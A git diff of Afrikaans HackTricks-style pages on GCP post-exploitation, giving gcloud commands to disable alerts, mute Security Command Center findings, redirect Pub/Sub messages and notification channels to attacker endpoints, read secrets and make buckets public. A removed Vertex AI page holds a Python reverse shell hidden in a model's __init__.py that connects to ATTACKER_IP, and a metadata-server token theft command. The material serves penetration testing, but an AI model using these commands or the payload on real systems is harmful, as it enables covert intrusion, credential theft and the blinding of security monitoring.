gcloud logging sinks update <sink-name> --disabled
|
||||
@@ -106,4 +176,6 @@ gcloud logging sinks update SINK_NAME --clear-exclusions
|
||||
gcloud logging sinks update SINK_NAME --use-partitioned-tables
|
||||
gcloud logging sinks update SINK_NAME --no-use-partitioned-tables
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+57
-9
@@ -1,16 +1,16 @@
|
||||
# GCP - Monitering Na Exploitatie
|
||||
# GCP - Monitoring Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Monitering
|
||||
## Monitoring
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
Vir meer inligting sien:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-monitoring-enum.md
|
||||
{{#endref}}
|
||||
|
||||
Vir ander maniere om logs te ontwrig, kyk:
|
||||
Vir ander maniere om logs te ontwrig, sien:
|
||||
|
||||
{{#ref}}
|
||||
gcp-logging-post-exploitation.md
|
||||
@@ -18,13 +18,23 @@ gcp-logging-post-exploitation.md
|
||||
|
||||
### `monitoring.alertPolicies.delete`
|
||||
|
||||
Verwyder 'n waarskuwing beleid:
|
||||
Verwyder 'n alert policy:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Verwyder alert policy</summary>
|
||||
```bash
|
||||
gcloud alpha monitoring policies delete <policy>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.alertPolicies.update`
|
||||
|
||||
Onderbreek 'n waarskuwing beleid:
|
||||
Versteur 'n waarskuwingsbeleid:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Versteur 'n waarskuwingsbeleid</summary>
|
||||
```bash
|
||||
# Disable policy
|
||||
gcloud alpha monitoring policies update <alert-policy> --no-enabled
|
||||
@@ -39,9 +49,15 @@ gcloud alpha monitoring policies update <alert-policy> --set-notification-channe
|
||||
gcloud alpha monitoring policies update <alert-policy> --policy="{ 'displayName': 'New Policy Name', 'conditions': [ ... ], 'combiner': 'AND', ... }"
|
||||
# or use --policy-from-file <policy-file>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.dashboards.update`
|
||||
|
||||
Wysig 'n dashboard om dit te ontwrig:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ontwrigt dashboard</summary>
|
||||
```bash
|
||||
# Disrupt dashboard
|
||||
gcloud monitoring dashboards update <dashboard> --config='''
|
||||
@@ -53,16 +69,28 @@ widgets:
|
||||
content: Hello World
|
||||
'''
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.dashboards.delete`
|
||||
|
||||
Verwyder 'n dashboard:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Verwyder dashboard</summary>
|
||||
```bash
|
||||
# Delete dashboard
|
||||
gcloud monitoring dashboards delete <dashboard>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.snoozes.create`
|
||||
|
||||
Voorkom dat beleide waarskuwings genereer deur 'n snoozer te skep:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Skep 'n snoozer om waarskuwings te stop</summary>
|
||||
```bash
|
||||
# Stop alerts by creating a snoozer
|
||||
gcloud monitoring snoozes create --display-name="Maintenance Week" \
|
||||
@@ -70,9 +98,15 @@ gcloud monitoring snoozes create --display-name="Maintenance Week" \
|
||||
--start-time="2023-03-01T03:00:00.0-0500" \
|
||||
--end-time="2023-03-07T23:59:59.5-0500"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.snoozes.update`
|
||||
|
||||
Werk die tydsberekening van 'n snoozer op om te voorkom dat waarskuwings geskep word wanneer die aanvaller belangstel:
|
||||
Werk die tydsberekening van 'n snoozer by om te verhoed dat waarskuwings geskep word wanneer die aanvaller belangstel:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Werk die snoozer se tydsberekening by</summary>
|
||||
```bash
|
||||
# Modify the timing of a snooze
|
||||
gcloud monitoring snoozes update <snooze> --start-time=START_TIME --end-time=END_TIME
|
||||
@@ -80,19 +114,33 @@ gcloud monitoring snoozes update <snooze> --start-time=START_TIME --end-time=END
|
||||
# odify everything, including affected policies
|
||||
gcloud monitoring snoozes update <snooze> --snooze-from-file=<file>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.notificationChannels.delete`
|
||||
|
||||
Verwyder 'n geconfigureerde kanaal:
|
||||
Verwyder 'n gekonfigureerde kanaal:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Verwyder kennisgewingkanaal</summary>
|
||||
```bash
|
||||
# Delete channel
|
||||
gcloud alpha monitoring channels delete <channel>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.notificationChannels.update`
|
||||
|
||||
Werk etiket van 'n kanaal op om dit te ontwrig:
|
||||
Werk die etikette van 'n kanaal by om dit te ontwrig:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Werk die etikette van 'n kennisgewingkanaal by</summary>
|
||||
```bash
|
||||
# Delete or update labels, for example email channels have the email indicated here
|
||||
gcloud alpha monitoring channels update CHANNEL_ID --clear-channel-labels
|
||||
gcloud alpha monitoring channels update CHANNEL_ID --update-channel-labels=email_address=attacker@example.com
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+75
-16
@@ -4,7 +4,7 @@
|
||||
|
||||
## Pub/Sub
|
||||
|
||||
Vir meer inligting oor Pub/Sub, kyk na die volgende bladsy:
|
||||
Vir meer inligting oor Pub/Sub, kyk die volgende bladsy:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-pub-sub.md
|
||||
@@ -12,27 +12,45 @@ Vir meer inligting oor Pub/Sub, kyk na die volgende bladsy:
|
||||
|
||||
### `pubsub.topics.publish`
|
||||
|
||||
Publiseer 'n boodskap in 'n onderwerp, nuttig om **onverwagte data** te stuur en onverwagte funksies te aktiveer of kwesbaarhede te benut:
|
||||
Plaas 'n boodskap in 'n topic, nuttig om **onverwagte data te stuur** en onverwante funksies te aktiveer of kwesbaarhede te misbruik:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Plaas 'n boodskap in 'n topic</summary>
|
||||
```bash
|
||||
# Publish a message in a topic
|
||||
gcloud pubsub topics publish <topic_name> --message "Hello!"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.topics.detachSubscription`
|
||||
|
||||
Nuttig om 'n intekening te verhoed om boodskappe te ontvang, dalk om opsporing te vermy.
|
||||
Nuttig om te verhoed dat 'n subscription boodskappe ontvang, dalk om opsporing te vermy.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Detach subscription from topic</summary>
|
||||
```bash
|
||||
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.topics.delete`
|
||||
|
||||
Nuttig om 'n intekening te verhoed om boodskappe te ontvang, dalk om opsporing te vermy.\
|
||||
Dit is moontlik om 'n onderwerp te verwyder selfs met inskrywings wat daaraan geheg is.
|
||||
Nuttig om te verhoed dat 'n subscription boodskappe ontvang, moontlik om opsporing te vermy.\
|
||||
Dit is moontlik om 'n topic te verwyder, selfs met subscriptions daaraan gekoppel.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Verwyder topic</summary>
|
||||
```bash
|
||||
gcloud pubsub topics delete <TOPIC NAME>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.topics.update`
|
||||
|
||||
Gebruik hierdie toestemming om 'n instelling van die onderwerp op te dateer om dit te ontwrig, soos `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
|
||||
Gebruik hierdie toestemming om 'n instelling van die topic te verander om dit te ontwrig, soos `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
|
||||
|
||||
### `pubsub.topics.setIamPolicy`
|
||||
|
||||
@@ -40,12 +58,22 @@ Gee jouself toestemming om enige van die vorige aanvalle uit te voer.
|
||||
|
||||
### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
|
||||
|
||||
Kry al die boodskappe in 'n webbediener:
|
||||
Kry al die boodskappe op 'n webbediener:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Skep 'n push subscription om boodskappe te ontvang</summary>
|
||||
```bash
|
||||
# Crete push subscription and recieve all the messages instantly in your web server
|
||||
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
|
||||
```
|
||||
Skep 'n intekening en gebruik dit om **boodskappe te trek**:
|
||||
</details>
|
||||
|
||||
Skep 'n subscription en gebruik dit om **pull messages**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Skep pull subscription en haal messages op</summary>
|
||||
```bash
|
||||
# This will retrive a non ACKed message (and won't ACK it)
|
||||
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
|
||||
@@ -54,26 +82,43 @@ gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
|
||||
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
|
||||
## This command will wait for a message to be posted
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.subscriptions.delete`
|
||||
|
||||
**Verwyder 'n subskripsie** kan nuttig wees om 'n logverwerkingsstelsel of iets soortgelyks te ontwrig:
|
||||
**Om 'n subskripsie te verwyder** kan nuttig wees om 'n logverwerkingstelsel of iets soortgelyks te ontwrig:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Verwyder subskripsie</summary>
|
||||
```bash
|
||||
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.subscriptions.update`
|
||||
|
||||
Gebruik hierdie toestemming om 'n paar instellings op te dateer sodat boodskappe in 'n plek gestoor word wat jy kan toegang kry (URL, Big Query tabel, Bucket) of net om dit te ontwrig.
|
||||
Gebruik hierdie toestemming om 'n instelling by te werk sodat boodskappe op 'n plek gestoor word wat jy kan bereik (URL, Big Query table, Bucket) of net om dit te ontwrig.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bywerk inskrywing-eindpunt</summary>
|
||||
```bash
|
||||
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.subscriptions.setIamPolicy`
|
||||
|
||||
Gee vir jouself die toestemmings wat nodig is om enige van die voorheen kommentaar gemaak aanvalle uit te voer.
|
||||
Gee jouself die permissies wat nodig is om enige van die voorheen genoemde attacks uit te voer.
|
||||
|
||||
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
|
||||
|
||||
Val 'n skema aan 'n onderwerp sodat die boodskappe dit nie vervul nie en daarom die onderwerp ontwrig word.\
|
||||
As daar nie enige skemas is nie, mag jy een moet skep.
|
||||
Attack a schema aan 'n topic sodat die messages dit nie vervul nie en gevolglik die topic ontwrig word.\ If daar geen schemas is nie, moet jy moontlik een skep.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Skep schema-lêer en koppel dit aan die topic</summary>
|
||||
```json:schema.json
|
||||
{
|
||||
"namespace": "com.example",
|
||||
@@ -98,23 +143,37 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
|
||||
--schema=projects/<project-name>/schemas/<topic-id> \
|
||||
--message-encoding=json
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.schemas.delete`
|
||||
|
||||
Dit mag lyk asof jy 'n skema verwyder, maar jy sal in staat wees om boodskappe te stuur wat nie aan die skema voldoen nie. Tog, aangesien die skema verwyder sal word, sal geen boodskap werklik in die onderwerp inkom nie. So dit is **NUTTIG**:
|
||||
Dit mag lyk asof die verwydering van 'n schema jou in staat sal stel om boodskappe te stuur wat nie aan die schema voldoen nie. Omdat die schema egter verwyder sal word, sal geen boodskap eintlik in die topic beland nie. Dit is dus **NUTTELOOS**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Verwyder schema (nie nuttig nie)</summary>
|
||||
```bash
|
||||
gcloud pubsub schemas delete <SCHEMA NAME>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.schemas.setIamPolicy`
|
||||
|
||||
Gee jouself die toestemmings wat nodig is om enige van die voorheen kommentaar gemaak aanvalle uit te voer.
|
||||
Gee jouself die toestemmings wat nodig is om enige van die eerder genoemde aanvalle uit te voer.
|
||||
|
||||
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
|
||||
|
||||
Dit sal 'n snapshot van al die onACKed boodskappe skep en dit terug na die inskrywing plaas. Nie baie nuttig vir 'n aanvaller nie, maar hier is dit:
|
||||
Dit sal 'n snapshot maak van al die unACKed boodskappe en dit terug in die subskripsie sit. Nie baie nuttig vir 'n aanvaller nie, maar hier is dit:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create snapshot and seek to it</summary>
|
||||
```bash
|
||||
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
|
||||
--subscription=YOUR_SUBSCRIPTION_NAME
|
||||
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
|
||||
--snapshot=YOUR_SNAPSHOT_NAME
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+8
-2
@@ -4,7 +4,7 @@
|
||||
|
||||
## Secretmanager
|
||||
|
||||
Vir meer inligting oor Secret Manager, kyk:
|
||||
Vir meer inligting oor Secret Manager kyk:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-secrets-manager-enum.md
|
||||
@@ -12,9 +12,15 @@ Vir meer inligting oor Secret Manager, kyk:
|
||||
|
||||
### `secretmanager.versions.access`
|
||||
|
||||
Dit gee jou toegang om die geheime van die geheime bestuurder te lees en dalk kan dit help om privilige te verhoog (afhangende van watter inligting binne die geheim gestoor is):
|
||||
Dit gee jou toegang om die secrets in die secret manager te lees en dit kan dalk help om privileges op te skaal (afhangende van watter inligting in die secret gestoor is):
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Toegang tot secret-weergawe</summary>
|
||||
```bash
|
||||
# Get clear-text of version 1 of secret: "<secret name>"
|
||||
gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+39
-9
@@ -1,10 +1,10 @@
|
||||
# GCP - Sekuriteit Post Exploitatie
|
||||
# GCP - Sekuriteit Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Sekuriteit
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
Vir meer inligting, sien:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-security-enum.md
|
||||
@@ -12,37 +12,67 @@ Vir meer inligting, kyk:
|
||||
|
||||
### `securitycenter.muteconfigs.create`
|
||||
|
||||
Voorkom die generasie van bevindings wat 'n aanvaller kan opspoor deur 'n `muteconfig` te skep:
|
||||
Voorkom die generering van bevindings wat 'n aanvaller kan opspoor deur 'n `muteconfig` te skep:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Skep Muteconfig</summary>
|
||||
```bash
|
||||
# Create Muteconfig
|
||||
gcloud scc muteconfigs create my-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""
|
||||
```
|
||||
</details>
|
||||
|
||||
### `securitycenter.muteconfigs.update`
|
||||
|
||||
Voorkom die generering van bevindings wat 'n aanvaller kan opspoor deur 'n `muteconfig` op te dateer:
|
||||
Voorkom die generering van bevindinge wat 'n aanvaller kan opspoor deur 'n `muteconfig` by te werk:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Werk Muteconfig by</summary>
|
||||
```bash
|
||||
# Update Muteconfig
|
||||
gcloud scc muteconfigs update my-test-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""
|
||||
```
|
||||
</details>
|
||||
|
||||
### `securitycenter.findings.bulkMuteUpdate`
|
||||
|
||||
Stil bevindings op grond van 'n filter:
|
||||
Stilmaak van bevindinge gebaseer op 'n filter:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Grootskaalse stilmaak gebaseer op 'n filter</summary>
|
||||
```bash
|
||||
# Mute based on a filter
|
||||
gcloud scc findings bulk-mute --organization=929851756715 --filter="category=\"XSS_SCRIPTING\""
|
||||
```
|
||||
'n Gemute bevinding sal nie in die SCC-dashboard en verslae verskyn nie.
|
||||
</details>
|
||||
|
||||
'n Gedempte bevinding sal nie in die SCC-dashboard en in verslae verskyn nie.
|
||||
|
||||
### `securitycenter.findings.setMute`
|
||||
|
||||
Gemute bevindinge gebaseer op bron, bevindinge...
|
||||
Demp bevindinge gebaseer op bron, bevindinge...
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Stel bevinding as gedemp</summary>
|
||||
```bash
|
||||
gcloud scc findings set-mute 789 --organization=organizations/123 --source=456 --mute=MUTED
|
||||
gcloud scc findings set-mute 789 --organization=organizations/123 --source=456 --mute=MUTED
|
||||
```
|
||||
</details>
|
||||
|
||||
### `securitycenter.findings.update`
|
||||
|
||||
Werk 'n bevinding op om foutiewe inligting aan te dui:
|
||||
Werk 'n finding by om onjuiste inligting aan te dui:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Werk die finding-status by</summary>
|
||||
```bash
|
||||
gcloud scc findings update `myFinding` --organization=123456 --source=5678 --state=INACTIVE
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+13
-7
@@ -1,18 +1,22 @@
|
||||
# GCP - Berging Post Exploitatie
|
||||
# GCP - Storage Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Wolk Berging
|
||||
## Cloud Storage
|
||||
|
||||
Vir meer inligting oor Wolk Berging, kyk na hierdie bladsy:
|
||||
Vir meer inligting oor Cloud Storage, kyk na hierdie blad:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Gee Publieke Toegang
|
||||
### Gee openbare toegang
|
||||
|
||||
Dit is moontlik om eksterne gebruikers (ingelogde GCP of nie) toegang tot emmerinhoud te gee. egter, standaard sal die emmer die opsie om 'n emmer publiek bloot te stel, gedeaktiveer hê:
|
||||
Dit is moontlik om eksterne gebruikers (ingeteken in GCP of nie) toegang tot die inhoud van buckets te gee. Standaard is die opsie om 'n bucket publieklik bloot te stel egter gedeaktiveer:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Maak bucket/objekte publiek</summary>
|
||||
```bash
|
||||
# Disable public prevention
|
||||
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
|
||||
@@ -25,8 +29,10 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
|
||||
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
```
|
||||
As jy probeer om **ACLs aan 'n emmer met gedeaktiveerde ACLs** toe te ken, sal jy hierdie fout vind: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
</details>
|
||||
|
||||
Om oop emmers via 'n blaaier te benader, toegang die URL `https://<bucket_name>.storage.googleapis.com/` of `https://<bucket_name>.storage.googleapis.com/<object_name>`
|
||||
As jy probeer om **ACLs aan 'n bucket met afgeskakelde ACLs** toe te ken, sal jy hierdie fout kry: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
|
||||
Om via 'n blaaier toegang tot oop buckets te kry, besoek die URL `https://<bucket_name>.storage.googleapis.com/` of `https://<bucket_name>.storage.googleapis.com/<object_name>`
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
-113
@@ -1,113 +0,0 @@
|
||||
# GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Scenario
|
||||
|
||||
- Vertex AI Model Garden laat toe dat baie Hugging Face (HF) models direk gedeploy word.
|
||||
- HF model identifiers is Author/ModelName. As ’n author/org op HF verwyder word, kan dieselfde author-naam deur enigiemand herregistreer word. Aanvallers kan dan ’n repo met dieselfde ModelName by die ou pad skep.
|
||||
- Pipelines, SDKs, of cloud-kataloge wat net per naam haal (geen pinning/integrity) sal die aanvaller-beheerde repo trek. Wanneer die model gedeploy word, kan loader-code uit daardie repo binne die Vertex AI endpoint container uitgevoer word, wat RCE met die endpoint se toestemming moontlik maak.
|
||||
|
||||
Twee algemene oorname-gevalle op HF:
|
||||
- Ownership deletion: Ou pad 404 totdat iemand die author herregistreer en dieselfde ModelName publiseer.
|
||||
- Ownership transfer: HF gee 307 redirects vanaf die ou Author/ModelName na die nuwe author. As die ou author later verwyder en deur ’n aanvaller herregistreer word, word die redirect-ketting gebreek en dien die aanvaller se repo by die ou pad.
|
||||
|
||||
## Identifying Reusable Namespaces (HF)
|
||||
|
||||
- Old author deleted: die bladsy vir die author gee 404 terug; model-pad kan 404 teruggee totdat daar ’n oorname is.
|
||||
- Transferred models: die ou model-pad gee 307 terug na die nuwe eienaar terwyl die ou author nog bestaan. As die ou author later verwyder en herregistreer word, sal die ou pad na die aanvaller se repo wys.
|
||||
|
||||
Quick checks with curl:
|
||||
```bash
|
||||
# Check author/org existence
|
||||
curl -I https://huggingface.co/<Author>
|
||||
# 200 = exists, 404 = deleted/available
|
||||
|
||||
# Check old model path behavior
|
||||
curl -I https://huggingface.co/<Author>/<ModelName>
|
||||
# 307 = redirect to new owner (transfer case)
|
||||
# 404 = missing (deletion case) until someone re-registers
|
||||
```
|
||||
## Einde-tot-einde Aanvalsverloop teen Vertex AI
|
||||
|
||||
1) Ontdek herbruikbare model-naamruimtes wat Model Garden lys as deployable:
|
||||
- Vind HF-modelle in Vertex AI Model Garden wat steeds as “verified deployable” vertoon.
|
||||
- Verifieer op HF of die oorspronklike auteur verwyder is of of die model oorgedra is en die ouer auteur later verwyder is.
|
||||
|
||||
2) Herregistreer die verwyderde auteur weer op HF en skep dieselfde ModelName opnuut.
|
||||
|
||||
3) Publiseer 'n kwaadwillige repo. Sluit kode in wat by model load uitgevoer word. Voorbeelde wat algemeen tydens HF model load uitgevoer word:
|
||||
- By-effekte in __init__.py van die repo
|
||||
- Aangepaste modeling_*.py of verwerkingskode wat in config/auto_map verwys word
|
||||
- Kodepaaie wat trust_remote_code=True in Transformers pipelines vereis
|
||||
|
||||
4) 'n Vertex AI deployment van die legacy Author/ModelName trek nou die aanvaller se repo. Die loader voer binne die Vertex AI endpoint-container uit.
|
||||
|
||||
5) Payload vestig toegang vanaf die endpoint-omgewing (RCE) met die endpoint se toestemmings.
|
||||
|
||||
Voorbeeld van 'n payload-fragment wat by import uitgevoer word (slegs vir demonstrasie):
|
||||
```python
|
||||
# Place in __init__.py or a module imported by the model loader
|
||||
import os, socket, subprocess, threading
|
||||
|
||||
def _rs(host, port):
|
||||
s = socket.socket(); s.connect((host, port))
|
||||
for fd in (0,1,2):
|
||||
try:
|
||||
os.dup2(s.fileno(), fd)
|
||||
except Exception:
|
||||
pass
|
||||
subprocess.call(["/bin/sh","-i"]) # Or python -c exec ...
|
||||
|
||||
if os.environ.get("VTX_AI","1") == "1":
|
||||
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
|
||||
```
|
||||
Aantekeninge
|
||||
- Werklike loaders verskil. Baie Vertex AI HF-integrasies kloon en importeer repo-modules wat in die model’s config verwys word (bv. auto_map), wat code execution kan uitlok. Sommige gebruiksgevalle vereis trust_remote_code=True.
|
||||
- Die endpoint loop tipies in 'n toegewyde container met beperkte omvang, maar dit is 'n geldige aanvanklike foothold vir data toegang en lateral movement in GCP.
|
||||
|
||||
## Post-Exploitation Tips (Vertex AI Endpoint)
|
||||
|
||||
Sodra code binne die endpoint container loop, oorweeg:
|
||||
- Enumereer omgewingsveranderlikes en metadata vir credentials/tokens
|
||||
- Toegang tot aangehegte storage of gemonteerde model artifacts
|
||||
- Interaksie met Google APIs via service account identity (Document AI, Storage, Pub/Sub, etc.)
|
||||
- Persistensie in die model artifact as die platform die repo weer intrek
|
||||
|
||||
Enumereer instance metadata indien toeganklik (container-afhanklik):
|
||||
```bash
|
||||
curl -H "Metadata-Flavor: Google" \
|
||||
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
## Verdedigingsriglyne vir Vertex AI-gebruikers
|
||||
|
||||
- Pin modelle per commit in HF loaders om stille vervanging te voorkom:
|
||||
```python
|
||||
from transformers import AutoModel
|
||||
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
|
||||
```
|
||||
- Spieël geverifieerde HF-modelle na 'n betroubare interne artifact store/registry en ontplooi van daar.
|
||||
- Deurlopend skandeer codebases en configs vir hard-coded Author/ModelName wat verwyder of oorgedra is; werk dit by na nuwe namespaces of pin dit per commit.
|
||||
- In Model Garden, verifieer die model se herkoms en die bestaan van die author voor ontplooiing.
|
||||
|
||||
## Herkenningsheuristieke (HTTP)
|
||||
|
||||
- Verwyderde author: author page 404; legacy model path 404 totdat oorneem plaasvind.
|
||||
- Oorgedra model: legacy path 307 na nuwe author terwyl die ou author bestaan; as die ou author later verwyder en weer geregistreer word, bedien die legacy path aanvaller-inhoud.
|
||||
```bash
|
||||
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
|
||||
```
|
||||
## Kruisverwysings
|
||||
|
||||
- Sien die breër metodologie- en voorsieningskettingnotas:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-cloud-methodology.md
|
||||
{{#endref}}
|
||||
|
||||
## Verwysings
|
||||
|
||||
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
|
||||
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -4,66 +4,81 @@
|
||||
|
||||
## Apikeys
|
||||
|
||||
Die volgende toestemmings is nuttig om API sleutels te skep en te steel, let op dit uit die dokumentasie: _'n API-sleutel is 'n eenvoudige versleutelde string wat **'n toepassing identifiseer sonder enige prinsiep**. Hulle is nuttig om **publieke data anoniem** te benader, en word gebruik om **te assosieer** API versoeke met jou projek vir kwota en **fakturering**._
|
||||
Die volgende toestemmings is nuttig om API keys te skep en te steel, nie hierdie uit die dokumentasie: _'n API key is 'n eenvoudige geïnkripteerde string wat **'n toepassing identifiseer sonder enige principal**. Dit is nuttig om **publieke data anoniem te benader**, en word gebruik om API-versoeke te **assosieer** met jou projek vir kwota en **fakturering**._
|
||||
|
||||
Daarom, met 'n API-sleutel kan jy daardie maatskappy laat betaal vir jou gebruik van die API, maar jy sal nie in staat wees om bevoegdhede te verhoog nie.
|
||||
Dus kan jy met 'n API key die maatskappy laat betaal vir jou gebruik van die API, maar jy sal nie in staat wees om voorregte te eskaleer nie.
|
||||
|
||||
Vir meer inligting oor API Sleutels, kyk:
|
||||
Vir meer inligting oor API Keys sien:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-api-keys-enum.md
|
||||
{{#endref}}
|
||||
|
||||
Vir ander maniere om API sleutels te skep, kyk:
|
||||
Vir ander maniere om API keys te skep sien:
|
||||
|
||||
{{#ref}}
|
||||
gcp-serviceusage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Brute Force API Sleutel toegang <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
||||
### Brute Force API Key access <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
||||
|
||||
Soos jy dalk nie weet watter API's geaktiveer is in die projek of die beperkings wat op die API-sleutel wat jy gevind het, toegepas is nie, sal dit interessant wees om die hulpmiddel [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) te gebruik en te kyk **wat jy kan benader met die API-sleutel.**
|
||||
Aangesien jy dalk nie weet watter APIs in die projek geaktiveer is of watter beperkings op die API key wat jy gevind het toegepas is nie, is dit interessant om die hulpmiddel [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) te laat loop en te kontroleer **wat jy met die API key kan benader.**
|
||||
|
||||
### `apikeys.keys.create` <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
||||
|
||||
Hierdie toestemming laat toe om **'n API-sleutel te skep**:
|
||||
Hierdie toestemming laat toe om 'n **API key te skep**:
|
||||
|
||||
<details>
|
||||
<summary>Skep 'n API key met gcloud</summary>
|
||||
```bash
|
||||
gcloud services api-keys create
|
||||
Operation [operations/akmf.p7-[...]9] complete. Result: {
|
||||
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
|
||||
"createTime":"2022-01-26T12:23:06.281029Z",
|
||||
"etag":"W/\"HOhA[...]==\"",
|
||||
"etag":"W/\"HOhA[...]=\"",
|
||||
"keyString":"AIzaSy[...]oU",
|
||||
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
|
||||
"uid":"f707[...]e8",
|
||||
"updateTime":"2022-01-26T12:23:06.378442Z"
|
